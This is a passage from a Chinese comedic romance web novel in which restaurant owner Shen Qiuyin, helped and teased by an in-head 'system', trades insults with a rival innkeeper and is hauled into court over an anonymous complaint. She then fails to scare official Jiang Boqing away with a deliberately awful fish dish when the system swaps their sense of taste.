众人担忧地看着沈秋吟,心想着这大汉不懂怜香惜玉,也不知道这文文绉绉的小姑娘能不能应付得来这恶毒的话语。
却在下一秒让众人大跌眼镜,沈秋吟那张抹了胭脂的嘴里吐出了更加恶毒的话,连那大汉的全家都被骂了一个遍。
君子先礼后兵,这大汉不仁在先,沈秋吟的嘴,也不会饶人。
双方的骂声更凶,沈秋吟骂到祖宗十八代时,那大汉张大了嘴,愣了愣,似是没想到这姑娘的嘴会如此毒辣,一时没回过神来,不停地说着:“你、你、你……!”
沈秋吟掐着腰,怒气冲冲道:“你、你、你、你个大头鬼!礼义廉,你无耻。人有仪,你相鼠无皮……”
她的嘴跟连珠炮似的叭叭地输出,大汉回过了神,不甘示弱,反击回去。
是他小瞧了这小姑娘,看似弱不禁风,实则比那老虎还虎!
新一轮的骂战又开始了,两人语速之快,令人咋舌,听不清,实在听不清。
吃瓜群众只想说:“唉唉唉,你们慢点呀!考虑考虑我们的感受!这瓜该怎么吃呀!”
不知过了多久,沈秋吟败下阵来,那大汉站在那里,蔑视地看着她,还嘲讽地笑了笑。
是可忍孰不可忍!
可是,没那个能力呀!
看着是个汉子,怎知这嘴就像装了炮弹似的,一吐一个响。
沈秋吟喘着粗气在心里欲哭无泪!
早知道,就不来了!
却在这时,系统的声音自脑海里响起——
“检测宿主大舌头,启动巧舌如簧模式!”
沈
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秋吟一愣,下一秒一股暖流流遍全身,气不喘了,嘴不疼了,全身充满力量!必须大干一场!
好好好!
这次她若还能输,便将名字倒着写。
沈秋吟上前一步,霎时间风云变幻,刚才还明媚的天,一时间被黑云笼罩,没了一点金色的光辉。
众人抬头看了眼天,这阵仗,恐怕大事不妙呀!
忽然,一阵妖风吹了起来,搅动树上的枝叶“沙沙作响”,不停地挑动人们的神经末梢,众人抹了把汗,局势不对,局势不对呀!
大汉见沈秋吟上前,用嘲讽的语气对她说:“怎么?还想被骂?”
沈秋吟盯着他,眼里充满了复仇的怒火,那火越燃越烈,如今她不再是百膳楼的掌柜沈秋吟了,而是——黑化了的沈秋吟!
“错!这次是你被骂!”
战火迸发,两人再次吵了起来,语速之快,还是让人听不清。
这瓜!当真是没法吃!
听不清!根本听不清!
不过,还好有眼睛,能看!
人群里的瞎子:“谢谢,有被冒犯到!”
那大汉和沈秋吟骂得不分上下,或是因为体力的缘故,沈秋吟落了上风。
就在众人以为沈秋吟又要败下阵时,却见那大汉连连往后退了三步,若不是有东风楼的小二扶着他,可能连身形都稳不住,非摔在地上不可。
局势转变,真是令人猝不及防!
沈秋吟顺了一口气,嘲讽地看他一眼:“商战嘛!正大光明的竞争没人说什么,但背后搞小动作,不是君子所为!”
她生平最恨的,就是在背后搞小动作的人。
那大汉有些懵,没整明白情况,倒是一旁的小二神色不自在,目光躲躲闪闪。
大汉正要问个明白,却体力不支,晕了过去,东风楼乱做一团,沈秋吟不再掺和,带着小二们走了出来。
一直隐匿在人群里,目睹了全程的陆昭明忽然迈不开腿,瞧着那被一众小二簇拥着的女子,咽了咽口水。
这女人,会不会太彪悍了!看着一副小白花样,内里却是十足的黑莲花。果真是人不可貌相,海水不可斗量呀!
陆昭明后背似被风吹了一般,凉飕飕的,他不禁一颤!
一想到自己或许为姜泊清穿小鞋不成,反而被骂的情景,那画面简直美得令人胆战心惊,还是算了……吧!他……他还不给姜泊清穿小鞋了。
惹不起!实在惹不起!
他正转身想走,一个小二忽然叫住他,“唉!公子,别走呀,这就是我们掌柜的。”
沈秋吟的目光落在他的背影上,小二接着说:“刚才这位公子在楼里说找您有事。”
陆昭明哭丧着脸,心里哀嚎阵阵,不情不愿转过身来,看向沈秋吟。
沈秋吟上上下下看了看他,这公子,生得好看,好像在哪里见过?
她皱着眉头,仔细一想,这,这,这人好像是不久前在大理寺审她的官!
沈秋吟如临大敌,问道:“你,你,你谁呀?”
陆昭明吞吞吐吐说:“沈掌柜……好,在下……陆昭明!”
18. 搞错了
沈秋吟又……又被告了。
大理寺的公堂,她跪在下面,上面坐着姜泊清。
姜泊清看着地上跪着的姑娘,叹了口气,她瞧着规规矩矩的,怎么就三番两次跪在大理寺的公堂上?他是真想不明白。
沈秋吟也悠悠地叹了一口长气,这个月第几次了!第二次了!她这是与大理寺杠上了么?还是大理寺需要业绩,拿她充数?
想她沈秋吟爱国爱家,怎么还能混到大理寺来,简直是苍天无眼呀!老天不做人!
系统:“为宿主默哀一秒!”
“闭嘴!”
系统消失在她脑海里。
大堂之上,姜泊清拿着惊堂木使劲儿一拍。“啪”的一声,站在两旁的捕快大喊“威武”,喊完之后,安静的大堂传来痛哭流涕的声音。
沈秋吟的目光落在一旁跪着的妇人身上,她一把鼻涕一把泪,尖着声音说:“大人呀,你可得为民女做主呀!”
这浮夸的喊冤声让沈秋吟一愣,好像似曾相识。
犹记得不久前她也是这般在堂上哀嚎,而后被系统吐槽,当时还不觉得怎样,如今见别人这样,才觉得当初自己是有多么蠢!学什么不好,偏偏要学这做作的姿态。
简直是往事不堪回首,一回首就是一个不堪!
系统:“知道就好!”
它一说完,不等沈秋吟说话,就自己麻溜地消失了。主打一个堵得宿主无路可走。
妇人还在哀嚎,忧戚之声,声声入耳,活像死去了挚爱一般。
姐妹!过分了哈!哭一两声就行了,怎么还一直哭呢!
姜泊清清咳一声,又拍了一下惊堂木,叫道:“肃静!”
那妇人这才停止哭泣,拿着手绢抹了漠眼睛,假装擦着眼泪。
“堂下妇人,为何状告沈秋吟?”姜泊清问道。
“大人听我禀明,”妇人磕了个头,而后缓缓道:“前几日,这位沈掌柜带着百膳楼的小二,围了我们东风楼,同我夫在楼中对骂,说我们东风楼做生意的手段不正,导致我东风楼名声被毁,生意一落千丈。所以,民女要状告她造谣生事!还请大人查明,还我东风楼名声。”
沈秋吟听了她的陈诉瞪大了眼睛!
她造谣生事?她毁人名声!
真是小刀扎屁股——开了眼了!
沈秋吟忍不下这口恶气,为自己辩解道:“明明是你们东风楼先写匿名状纸,诬告我扰乱市场,哄抬物价。我不过与你夫君争论时,将事实说了出来,怎么就成了造谣生事了?”
小人!真是小人!东风楼里都是一群小人,气死她了!
面对她的指控,妇人沉着应对道:“我东风楼做事正派,绝不可能做出什么匿名告状的事,你这分明是污蔑!再说,你都说了是匿名告状。又怎么认定是我东风楼做的?”
沈秋吟道:“自然是经过调查!我百膳楼的小二好几次都瞧见你们东风楼的小二在我楼前拿着纸笔记着东西。不久后,我就被人告在大理寺。若不是你们写的匿名状纸,那还能是谁!”
她仔细观察过,楼门前除了东风楼的小二时常转悠外,不曾见到其他可疑人。若不是他们,还能是谁?
可妇人接下来的话却让沈秋吟脸色变了变。
她道:“我的确派过小二去你楼门口转悠,但不过是打探你们楼中客人点菜的喜好罢了。绝不曾指派他告过匿名状!如若大人不信,可去我楼中传唤那名小二前来公堂。”
沈秋吟一愣!这妇人神色坦荡,不见躲闪,真不像是撒谎。难道,她真的搞错了?
不会吧!
不一会儿,那名时常在百膳楼转悠的小二被人带了上来。
姜泊清看着他问:“你可曾在百膳楼附近转悠?”
“在,”东风楼小二如实道,“那几日百膳楼生意好,老板娘曾派我去百膳楼前打探过楼中客人喜好,所以那几日我就拿着纸笔,时常记录。大人若不信,可看这个册子。”
小二从怀里掏出一本册子交给捕快头子,由他呈给姜泊清。
姜泊清接过册子一看,上面当真写着一些客人的喜好,还写了客人们在百膳楼里最爱点的菜。确实印证了妇人所说,只是去打探消息,而非写匿名状纸。
可这事儿总透露出些许奇怪,让人想不通!
姜泊清合上册子,面露威严,一双充满压迫感的眼盯着跪在地上的小二:“除了让你去打探客人喜好外,你老板娘可还曾让你做过其他事?”
“不曾!”小二神色如常,答得十分响亮。
姜泊清接着问:“那你自己可曾私自做过什么事?”
“不曾!”
这声回答依旧十分响亮,可底气却不太足。平常人听不出来,但姜泊清的耳朵比旁人不同,他听声音更细,能听出一个人说话时气流足不足。
“沈掌柜哄抬物价一案是谁审的?”姜泊清问着一旁站着的捕快头子。
他回道:“陆昭明!陆大人!”
陆昭明!
听到这名字,沈秋吟两眼一黑,她怎么忘了这厮!这次怕是完了。
“宿主……都是作孽呀!”系统适时出声,为她奏了一曲悲壮的音乐。
犹记那天东风楼外,大街之上,她认出陆昭明是大理寺的官后,以为他因为刚刚吵架之十,要抓她回大理寺,便拉着他的衣袖痛哭流涕,哀嚎着:“大人明鉴!我刚才和东风楼的掌柜就是小吵怡情,绝不是故意扰乱治安。他晕倒也不管我的事,只是因为他自己体力不好!”
当时看热闹的人还未完全散去,在她声声哀嚎下,人群又围了上来,对着陆昭明指指点点。
陆昭明几次欲言都被她打断,而后趁着她喘气时,他逮住机会,吼道:“我只是想找沈掌柜买一份卤肉饭而已!”
听到“卤肉饭”三字,沈秋吟石化了!
同样的错误,她犯了两次,一次在姜泊清身上,另一次在陆昭明身上。
她到如今都还记得陆昭明走时咬牙切齿地说:“沈秋吟,你给我等着!”
她,她是真完了!
都不待沈秋吟悲伤,陆昭明已经上了大堂,手中还拿着一份状词。
沈秋吟感觉有一道阴森森目光落在她身上,不用想就知道是谁的。
陆昭明肯定还记恨着她!
她现在恨不得挖个地洞把自己埋了!
她已无颜面见江东父老……啊不,所有人!
陆昭明自然还记得上次在街上,她拉着他衣袖痛哭流涕,惹得街上的人对她指指点点的事,但此时报仇,不是君子所为!<
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p>所以他阴狠狠看了看沈秋吟后,就收回了目光,看向姜泊清,将状词递给捕快头子,“这就是那份匿名状词。”
姜泊清接过状词,与册子细细对比,发现了相似之处。
小二知道事情瞒不过了,颤着声说:“大人,这封状词是我写的。但纯粹是我个人所为,和掌柜的、老板娘无关。”
小二的话令妇人一愣,似是没想到事情会有如此反转。
这小子真的写了匿名诉状?
妇人赶忙道:“大人,冤枉,不是民妇指示的,民妇不知情!”
沈秋吟也是一愣,没想到会这样。
姜泊清拿起惊堂木一拍,“啪”的一声,似乎从心理上恐吓人。
妇人闭了声。
小二将事情的始末如实招来。
听到最后,竟然是因为这名小二嫉妒百膳楼里的小二工钱高,所以才写了匿名诉状,告了沈秋吟。
“啊这?”沈秋吟看了一眼小二,又看了一眼妇人,啼笑皆非,“大哥!你掌柜的不给你涨工钱,你不应该告他吗?你为什么要告我!我多给我们家小二一些工钱,我哪里错了?”
那小二十分不满道:“在濮阳做小二的都是一个工钱,就你们楼里的小二不同!不是你的错,还是别人的错了?”
听了这话,沈秋吟的眼睛都瞪圆了,还是头一次听到厚颜无耻之词,让她无言以对。
妇人面露红色,似是羞愧,将头埋得很低。
她信誓旦旦要讨个公道回来,没想到确实是自己理亏,这脸是丢大发了!
如今事情已经明了,姜泊清也判案了,小二被罚扫十天大街,她与妇人被判罚银十两,相互道歉。
银子到还好说,就是道歉的话却怎么也说不出来。
想着当时骂得那么凶,如今还要道歉,怎么想也想不明白。
真是憋屈。
但既然都这么判了,人在屋檐下也不得不低头,沈秋吟也不扭捏,大大方方对妇人说:“对不起,是我搞错了。我以为他是受你们指示,才告匿名状的,没想到他完全是因为个人原因……”
沈秋吟都如此说了,妇人也不想着丢脸了,和气道:“妹子,姐也不对。姐以为你是故意要搅乱我楼里的名声,心一急就把你告到公堂上了。”
双方既然都道了歉,这事也了了,姜泊清也就退了堂。
妇人带着小二先行一步,沈秋吟也想走,但陆昭明的声音从身后传来,她的脚突然迈不开了。
沈秋吟转过身,颤着声说:“陆大人,我搞错了,你大人不计小人过,原谅我!”
“搞错什么?”不待陆昭明说话,一道声音便自她身后响起。
沈秋吟和陆昭明俱是身心一颤!
姜泊清走上前来。
沈秋吟见到他,没来由的心虚,忙道:“没什么!”
姜泊清不信她,看向陆昭明。
迫于他要吃人的眼神,陆昭明不敢隐瞒,将事情的起因经过如实交代。
听完后,姜泊清冷着脸看沈秋吟:“所以,你把在我身上犯的错误,又在他的身上犯了一遍?”
姜泊清不光面冷,声音也冷,让她觉着自己犯了大错一样,心虚更盛。
她底气不足回道:“我,我,我也是搞错了嘛!”
19. 你怎么来了?
回到百膳楼,沈秋吟郁郁寡欢。
小二们以为她连连进大理寺,受了惊吓,便纷纷使出吃饭的劲儿,又是跳舞,又是唱歌,又是整杂耍,换着花样逗她开心。
若是以往,她见了他们整得花样铁定会笑得人仰马翻,可今日心里有事,愣是没笑出来,傻傻地坐在那里,连眼睛也不眨一下,不知道在想些什么。
小二们见势头不对,停了下来,对看了一眼,将章丘推了出来。
“你去问问掌柜的,是不是出事了?”
瞧这模样肯定是出事了,不然他们没心没肺的掌柜也不会露出如此沉重的表情。
章丘肩负着众人的希望,走上前,低声问道:“掌柜的,你怎么了?是不是我们楼里要破产了?”
沈秋吟摇头,没说话。
章丘又问道:“那是我们楼里的饭菜销量不好?”
沈秋吟还是摇摇头,没说话。
这可把章丘难住了!既不是破产,也不是销量,哪还有啥能让掌柜露出要死了的表情,难道是……
章丘觉得这话问出来肯定遭到掌柜的毒打,但不问吧,他又觉得十分像。
于是,他牙一咬,心一横,握着拳给自己加了一把油,便敞着声音问:“掌柜的,你是不是思春了?”
他此话一出,全场静默,有人偷偷为他竖起了大拇指。
哥们!是个勇士!就是下场——
有点惨!
只见沈秋吟拿了门边的扫把追着章丘就是打,边打边说:“你才思春!你才思春!你全家都思春!”
章丘被打的鼻青脸肿,众人也不敢凑上去问她究竟怎么了,最终他们摆摆手,异口同声说:“随她去吧,船到桥头自然直!”
而这时的系统却在自己模拟出的悬崖上,发疯一般一个劲儿往下跳。
只见沈秋吟撑着头,望着蔚蓝而辽阔的天空,同系统道:“我为什么要心虚!我干嘛要心虚!我不就是搞错了嘛!拉着陆昭明的袖子痛哭流涕嘛!为什么我见了姜泊清会心虚!”
系统没说话,站在悬崖边带着必死的决心跳了下去。
沈秋吟沉默了片刻,又将这几个问题重问了一遍。
系统依旧不说话,接着跳,继续跳!已经没了生的希望。
而沈秋吟,居然还在问!
来来回回、反反复复,这几个问题问了不下上百遍!
换作是人,恐怕早就扑上去掐死她了。更何况是系统。
不知过了多久,系统跳累了,呆滞地坐在悬崖上,弱弱地出声:“求求了,别问系统,系统不知道。”
系统已经被她折磨疯了!只想哐哐撞大墙!
宿主是个疯女人!
系统不想活了,来个妖魔鬼怪把系统带走吧!或者把这个疯女人带走也行!
听它这么说,沈秋吟免不了嘲讽一声:“你好歹也是个系统,怎么连这个都不知道!”
当真是可忍孰不可忍!
系统吼道:“我说了!你不信呀!”
说到这里,沈秋吟小脸一红,底气不那么足道:“你说我喜欢……他,所以才心虚……我……这当然不信呢!”
额……!
系统:“我的母语是无语!”
为了不被宿主折磨死,系统主动下线,但由于它的核心和她的大脑连在一起,最终受她的思绪影响,又不得不主动上线。
它用近乎沙哑的声音说:“宿主……算我求你了……你别想了!”
天知道它的核心里现在反反复复都是那几个问题,它快要爆炸了!
沈秋吟憋着嘴说:“你以为我想吗?我也不想的!我只是不明白!”
也不怪她。活了两辈子,十几年了,头一次底气不足,心虚不已,自然会想得多。
系统一听!我这暴脾气!忍不了了!
它用了十足的劲儿吼道:“你有啥子想不明白的!你见他底气不足,心虚不已,不就说明自己喜欢他吗?”
“你胡说!”
好好好!叫不醒装睡的人!
系统深吸一口气,尽量平静道:“没关系,系统会让每个嘴硬的人得到应有的下场!不是不报,是时候未到!”
“什么意思?”沈秋吟嗅到一丝不妙。
“没什么意思。”系统冷冷说。
“你究竟什么意思!”
“字面上的意思。”
“啊!你说明白!”说话只说一半真的会要人命呀!
系统学着她的样子道:“啊!啊!啊!宿主,你当个人吧!”
好好好!用魔法打败魔法!
沈秋吟折磨了系统一晚上也没折磨明白自己为什么心虚,相反,系统还因为被折磨疯了而宕机。
这免不了又被她嘲笑了一番,但系统不生气,因为系统报仇,十年不晚,迟早会叫这个嘴硬的人得到她应有的下场。
沈秋吟不相信,轻蔑的对它做了个鬼脸,而后看着它消失在自己脑海里,心情莫名的爽了起来。
可这爽劲儿还没过一刻钟,就因为姜泊清的到来而变成灰烬。
她看着站在长街上的那个人。
他穿着玄色的长衣,如墨的头发高高束在脑后,刀削的脸庞,浓黑的眉,无一不彰显着他的俊朗。
人群里明明有那么多人,穿玄衣的男子更不在少数,可不知怎么的,沈秋吟的眼里就只有他,其他人自然而然成了陪衬。
谁也没他好看,谁也没他好。
公子如玉,举世无双。
她的脑海里蓦然出现这句话。
头一次,她对这句话也有了具象化的感受。
不经意间,她的心跳加快,脸也浮出一层淡淡的红色。
“天!是心动的感觉!”
系统冷不丁地冒了一声。
这一声让她仿佛被泼了一盆冷水似的,瞬间清醒过来!
“放屁!大白天的说什么虎狼之词!”
简直是……哎哟……羞死人了!
系统发出一段电流,好似一场被消音的谩骂,而后消失在她脑海里。
沈秋吟跑下台阶,到他面前,问道:“你怎么来了?饭不是已经送过去了吗?”
不会……又有人把她告了吧!
要真是这样,她觉得自己会炸!
还不等姜泊清开口,一个小二跑了出来,嚷嚷道:“掌柜的,忘了给你说了。姜大人昨日嘱咐我,从今以后不用送饭了,他中午都到这里吃!”
沈秋吟愣了愣,怀疑自己听错了,问道:“你说啥?”
小二又说了一遍:“姜大人说,他以后中午都到楼里吃饭。”
沈秋吟的视线越过小二,落在姜泊清身上:“他说的是真的?”
姜泊清答道:“我人都来了,还能有假?”
啊……!为什么她不是被人又告了呀!为什么姜泊清不是来抓她的呀!
大理寺的官天天中午在她楼里用膳,她的生意还做不做了!
一想到因为姜泊清的到来,百膳楼未来一个月的中午都是荒凉一片,她只觉整个人生都是黑暗的。
她甚至已经看到了白花花的银子就从眼前飞走,快得她抓都抓不住。
不行!她绝不能让这样的事儿发生。
沈秋吟越过小二,走到他身侧,一张脸笑的比花还灿烂,对着
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姜泊清道:“姜大人都在这里了,肯定没有假。只是您身份尊贵,怎能屈居在我这小小的百膳楼里用膳呢!我看,还是让小二日日给您送到大理寺吧。如此,才能彰显小的们对您的重视。”
妈呀!这话说的,太完美了。她真是个天生的狗腿子,这马屁拍得,简直了。
姜泊清也笑起来,沈秋吟觉得有戏。
怎知他说:“正因为你这地方小,所以我才来增光添彩,为你送点贵气!”
阿呸!她需要的是贵气吗?她需要的是银子,是你马上离开!
沈秋吟在内心嚎啕,但面上不显,继续道:“姜大人肯送贵气来,是小的们的福分。但姜大人乃是天上明月,怎能食人间烟火。这百膳楼乃是乌烟瘴气之地,大人还是速速回吧,别让这浊气染身,扰了干净!”
话都说得如此直白了,姜大人,快打道回府吧!
的确,话都说得如此直白了,姜泊清也用不着再和她拐弯子了,直截了当问:“沈掌柜是不欢迎我?想赶我走?”
明明是平平常常的一句话,但沈秋吟愣是听出了几分威胁的意味。
当官了不起吗?当官就可以欺压百姓了吗?她沈秋吟是怕当官的人吗?
当然是!
品出了这话味道不同,沈秋吟当即换了一副嘴脸,笑吟吟道:“怎么会?姜大人光临寒舍,只会让寒舍蓬荜生辉,我怎么敢嫌弃您呀!”
“那我可以进去了吗?”
“当然可以!”沈秋吟咬牙切齿道。
姜泊清被她的样子逗笑,扑哧一下笑出了声,沈秋吟奇怪地看着他。
他脸霎时通红,连忙用手掩饰,遮住尴尬,飞一般的走进楼中。
沈秋吟看着他怪异的动作,心想这人是不是有毛病。
系统一下子就明白了,宿主为什么会纠结那事一晚上。
因为,她就是个傻子!脑子里天然少了根经儿。
为姜泊清事先备好的饭菜饭已经冷了,自然不能拿给他吃,沈秋吟只能去到厨房,又重新为他做一份吃食。
她记得姜泊清很讨厌吃鱼,于是,二话不说就拿起盆里已经处理好的鱼进入油锅,准备做一道别具风味的酸菜鱼让他挑刺。
厨子们看见掌柜的大显身手,纷纷围过来观摩,却在见她放调料不按规矩来,随便糊弄事,瞪大了眼睛。
“掌柜的,这是什么新鲜做法吗?”一名厨子傻傻地问。
沈秋吟摇头:“不是……我只是单纯看一些人不爽!”
她是铁了心要将姜泊清赶出食楼!
厨子懂了。在心里为吃这菜的人默哀三秒钟。惹谁不好,怎么偏惹这混世魔王!这会是有口福了。
没多久,酸菜鱼做好。
正所谓越美的东西越毒,所以沈秋吟特地挑了个花里胡哨的盆装鱼,然后端着盆小心翼翼上了楼,亲自将他放到姜泊清的面前,笑颜如花道:“姜大人,快尝尝,新鲜出炉,保证好吃!”
金黄的汤汁包裹着每一片鱼,深绿色的酸菜在盆中流淌,翠色的葱花撒在面上,白色的芝麻夹杂其中,浓郁的香味霎时散开,里面有酸甜苦辣咸,就像人生百味。
姜泊清闻着这酸味倒是胃口大开,但看清盆里是鱼时,还是皱了皱眉头,可他没说什么,拿了筷子夹了一小块往嘴边去。
沈秋吟的心在这一刻噗通噗通跳,嘴角也不经意上扬,脑海里都是姜泊清落荒而逃的画面。
就在那筷子要接触到他的嘴唇时,系统的声音忽然在脑海里响起——
“检测到宿主恶意整人,启动味觉调换模式。”
沈秋吟一愣!
什么……意思?
20. 哑巴吃黄连
当姜泊清细细地品味那道酸菜鱼,并享受似地闭上了眼睛,仿佛沉浸在酸爽的海洋里时,沈秋吟觉得故事没有那样的简单了。
当那又涩、又苦、又咸、又辣的味道在沈秋吟的嘴里迸发,让她只觉有人掐住了命运的喉咙时,她明白了什么叫味觉调包模式。
这盆平平无奇的酸菜鱼,因为系统的一句话,在姜泊清的嘴里成了人间的美味,而味觉调包,那些她乱放的调料全都转嫁到了她的身上。
姜波清在吃,而她在水深火热里求生不得求死不能。
“狗系统!谁是你宿主呀!怎么还带帮他的呀!”
系统学着她的声音,哑着声说:“宿主……你忘了我是反骨了哇!”
沈秋吟语塞,仿佛哑巴吃黄连,有苦说不出。她近来得意忘形,再加上它好久没搞事情,的确忘了它是个反骨,向来与她反着干。
“可我是你的宿主呀!你就这般忍心将我丢弃吗?”沈秋吟可怜兮兮说。
系统白了她一眼,“别装!都是利益,没有感情!”
“统儿……!”沈秋吟粗犷的声音换成了夹子音。
“别叫!”它感觉全身都在起鸡皮疙瘩。
“统儿……!”她夹得更厉害了。
“再叫打你!”它全身心都在颤抖。
“统儿,统儿……!”她捏着嗓子,声音更娇媚了。
系统受不了了,抓狂道:“啊啊啊!别叫了,设定如此,我也帮不了你!”
“那你怎么不早说!浪费感情!”她声音又粗犷了起来。
系统瞧着这个变脸比变天还快的女人,狠声道:“你这个无情的坏女人!给我等着!哼!”
说完,系统下线。
而这时,姜泊清从美味里回过神来,将衣袖往上挽了一圈,一副准备大吃特吃模样。
沈秋吟瞧这架势,可不得了,他要是再吃,她完都完了,于是一把扑了上去,死死抱住了他的手。
姜泊清吓了好大一跳,筷子落在地上发出“啪嗒”一声,他惊恐地看着她:“你,你,你这是做什么!卖艺不卖身哈!”
卖艺不卖身!这是什么虎狼之词!
堂堂大理寺少卿居然说出这样的话!这脑子里天天装的什么!
而且,你这话什么意思?搞得我想对你做啥是的!
沈秋吟简直想打爆他的狗头!
这样的污蔑之词,沈秋吟自然是不能忍的,张开嘴,气势十足,一通大骂,说了好一会儿,却发现没声。
她一愣,又说了一会儿,没有一点声音。
“你说什么?打什么哑谜?”
真不能说话了!这是怎么回事?
沈秋吟摸了摸自己的嗓子,才感到有一股火气在嗓子处围绕,烫烫的,就像蜀地的火锅,热辣滚烫。
不会吧?把自己辣哑了……!
好像真是。
天知道她当时放了多少辣椒,简直跟不要钱似的,玩命地放,装辣椒的盆子都被她掏干了的,只因为姜泊清不能吃辣。
可她万万没想到……还有系统!
果然是天做孽,犹可恕,自作孽,不可活。
喉咙处的辣感还在持续加强,沈秋吟呼了好大一口气,还是不管用。
她吸了吸鼻子,忽然落下了两滴清泪,腿也因为喉咙处的辣感变软,她直直地跪在了地上。
这模样,让姜泊清更惊了,忙扶着她起来,边扶边说:“你,你,你这,这还没过年呢!咱们不用行此大礼!”
这一刻,喉咙处的火直上脑门,沈秋吟狠狠地盯着他,如果眼神可以刀人,姜泊清恐怕死了上百次了。
可这气势还没维持一秒,就被一阵其苦无比的味道打破,沈秋吟忍不住干呕!
天杀的!怎么还会有苦味呀!
沈秋吟蓦然想起,她为了让姜泊清再也不来,还往里头放了黄连。
这一会儿……唉……都是眼泪。
苦味再次蔓延,从口腔到喉咙,胃里也再翻江倒海,仿佛孙悟空进了铁扇公主的肚子里,撞得里面没一块平整。
她想,这一波,必瘦十斤。
姜泊清察觉到情况不对,忧道:“你怎么了?不会是中毒了吧?”
沈秋吟艰难地摇摇头,指着桌上的水壶,示意他倒杯水。
她快被苦死了,简直比人生还苦。
而姜泊清却道:“水不能止吐。爷爷说吃酸可以,你要不来块酸菜鱼吧。”
他说着,还抽了一双新筷子,夹了一片酸菜鱼喂到她嘴边。
沈秋吟急得摇头,姜泊清安慰她道:“这鱼不烫,可以下口!”
谁管这鱼烫不烫呀!
姜泊清,你放过我吧!
筷子又离嘴唇近了一些,沈秋吟立马打开,筷子落在地上,那鱼却擦了一下姜泊清的嘴唇才落在地上。
我……靠!什么运气!沈秋吟想哭,但根本没有机会。
又是一阵奇特的味道猛得袭来,她被折磨地再次站不住脚跟,倒在姜泊清身上。
姜泊清的脸霎时通红,“沈秋吟,你知不知羞呀!”
她也知道这姿势不太好。但这是知不知羞的问题吗?这是小命的问题。
沈秋吟急得眼睛都红了,但愣是说不出一个字!
她算是知道为什么会有“害人终害己”这个词了。
如果上天愿意重新给她一次机会,她一定不会想着将姜泊清赶出百膳楼了。
“可惜,为时已晚!”系统冷不丁冒泡。
唉……
又是一阵酸味漫过喉咙,沈秋吟难受得整张脸都皱在了一起,有什么东西喉咙出冒出来,她一把推开姜泊清,又吐起来。
“你究竟怎么了?我去找大夫。”
沈秋吟抓住他,摇头,又指了指桌子上的水壶,她想喝水。
由于水壶在酸菜鱼的旁边,姜泊清理解失误,他道:“你要吃鱼?那刚才干嘛打翻呀?”
沈秋吟翻了个白眼,大哥,这是想喝水!你眼瞎吗?看不见旁边的水壶吗?
算了算了,求人不如求己!
沈秋吟缓缓直起身子,可还没走一步,又又又倒在了地上。
痛感袭边全身,疼得她眼泪都出来了。
姜泊清忙将她扶起来,“你这身体现在动不得,等我,我给你夹!”
沈秋吟急了,害怕刚才的事故重演,也顾不上疼痛,使了全力站起来,拼了命往桌子边一扑,将整张桌子掀翻。
碗筷落地,发出噼里啪啦的声响,自然吸引了许多人的注意力。
一个小二正要推门查看,却被章丘拦住:“掌柜的和姜大人在里面,你去干嘛?”
“可这……”
章丘露出意味深长的表情道:“你不懂!这是趣味!”
小二秒懂,立马跟着章丘一同离开。
姜泊清被沈秋吟的举动惊住,一下子没缓过神来,但见酸菜鱼的汤汁要泼到她脸上时,一个箭步冲过去,用后背替她挡住。
沈秋吟缩在他的怀里,心里极快,噗通噗通,像要冲开胸膛跳出来一样。
“没事吧?有没有被烫到?”
她摇摇头,脸颊通红,像抹了一层厚厚的胭脂。
“究竟怎么了?我看你呕吐不止,像是中毒之症,不若我帮你用银针解毒。”
银针……解毒!
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开什么玩笑!针扎在身上多疼呀!她不要。
沈秋吟疯狂摇头。
姜泊清安慰道:“放心,不疼的。”
说着,他从衣袖里掏出一个布袋子,取出一根泛着光的细长银针,对着她。
恐惧感在这一刻袭边全身,她忽然喊道:“姜泊清……我只是想……喝水!”
一石激起千层浪,姜泊清停住了手。
沈秋吟摸了摸喉咙,咦,能说话了,就是这嘶哑的声音,活像干裂了似的。
姜泊清手中的银针还对着她,她忙打开,又重复了了一遍:“姜泊清……我要喝水,我没中毒!”
姜泊清翻了个白眼,“你早说呀,要喝水。整这么大一出,我以为你中毒了呢!”
沈秋吟真是想掐死他!
大哥!不是我不想说!而是我要能说出话呀!
姜泊清收了银针,去隔壁房间为她到来一杯水来。
不等他递给她,她就扑上来抓住他的手大口大口喝水,仿若八辈子没喝过水一样。
清水漫过唇齿,漫过喉咙,流入五脏六腑之间,辣味、咸味、酸味、苦味,统统消失不见。
沈秋吟发出满足的叹息,就像缺水的鱼儿终于遇见了水,不住的摇着自己的尾巴。
姜泊清红着脸别过头,没好气说:“沈秋吟,注意影响!”
她是不把他当个男人吗?
沈秋吟也意识到这点,赶忙停住动作,继续喝水。
一杯喝完,她将姜泊清当作人体支架,靠在了他的身上,“姜泊清……我不赶你走了。你想什么时候来吃饭,就什么时候来吃饭!”
她一向识时务者为俊杰,打不过就加入!
不就是银子嘛!
银子那有小命重要!
那狗系统巴不得捏她小辫子呢!绝不能让它得逞!
“意思是你之前就是不想让我进楼里吃饭?”
沈秋吟不好意思笑笑。
姜泊清明白了,心里莫名被什么东西咬了一口,有些疼,还有些闷,他冷着声音问:“为什么?”
沈秋吟不敢看他,心虚道:“你一个大理寺的天天到楼里吃饭,人家会以为我们楼是不是有问题,不敢来吃饭!”
额……
姜泊清有被这个答案无语住!这姑娘的脑子是不是跟别人不太一样呀!
朝廷命官都愿意来楼里吃饭,这难道不是说明这楼里的饭菜实在美味吗?
怎么到她这里就成了有问题!
他也算明白了,为什么她上次会在街上拉着他的袖子嚎啕,因为这姑娘的脑子吧……她……
她脑子不好!
姜泊清在心里的吐槽沈秋吟一概不知,她正抱着水壶喝得不亦乐乎。
“你慢点喝!”姜泊清怕她把自己呛着,提醒道。
沈秋吟不听,结果下一秒就被呛住。
姜泊清无奈道:“都让你喝慢点了!”
“我口干嘛!”沈秋吟委屈巴巴道。
姜泊清从她手中拿过水壶,倒了一杯水,放在她嘴边。
沈秋吟这次小口小口喝。
不知过了多久,她打了个隔,终于不再喝水,躺在椅子上问道:“姜泊清,你在大理寺吃得好好的,怎么想起中午要到楼里来吃了?”
姜泊清看着她,问道:“你想听真话还是假话?”
“肯定是真话呀!”沈秋吟说。
姜泊清目不转睛看着她说:“真话就是——害怕你在第三个人身上犯同样的错误!”
沈秋吟初时没反应过来,呢喃了片刻后,表情一僵……!
哥们……你怎么说得我像个渣女似的?
21. 为什么?
此后数日,姜泊清日日中午都到百膳楼用食。他的到来非但没让生意一落千丈,反而还更加热闹。
一到中午,小二们就穿梭在人群里,忙都忙不过来,后厨的锅更是戳穿了好几个,都摆在院子里,作为胜利的纪念品。
沈秋吟日日坐在柜台数钱,脸都笑烂了,一张一张,爱不释手。
